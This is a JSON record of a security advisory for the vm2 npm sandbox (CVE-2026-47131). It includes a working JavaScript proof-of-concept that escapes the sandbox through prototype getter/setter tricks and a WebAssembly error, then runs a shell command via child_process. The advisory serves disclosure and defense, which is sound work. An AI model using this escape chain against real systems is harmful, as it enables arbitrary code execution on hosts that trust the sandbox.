{"id":"GHSA-v6mx-mf47-r5wg","revision":"863eb211a93e43c29012fd7a504a0601","records":[{"revision":"863eb211a93e43c29012fd7a504a0601","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-v6mx-mf47-r5wg","aliases":["CVE-2026-47131"],"title":"vm2 has a Sandbox Escape issue","description":"### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape → RCE","state":0,"publishedAt":"2026-05-29T17:33:58+00:00","modifiedAt":"2026-06-12T21:00:09.2437858+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg","https://nvd.nist.gov/vuln/detail/CVE-2026-47131","https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-v6mx-mf47-r5wg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v6mx-mf47-r5wg","identifiers":["GHSA-v6mx-mf47-r5wg","CVE-2026-47131"]},"retained":false,"historicalAffected":[]}],"coverage":[]}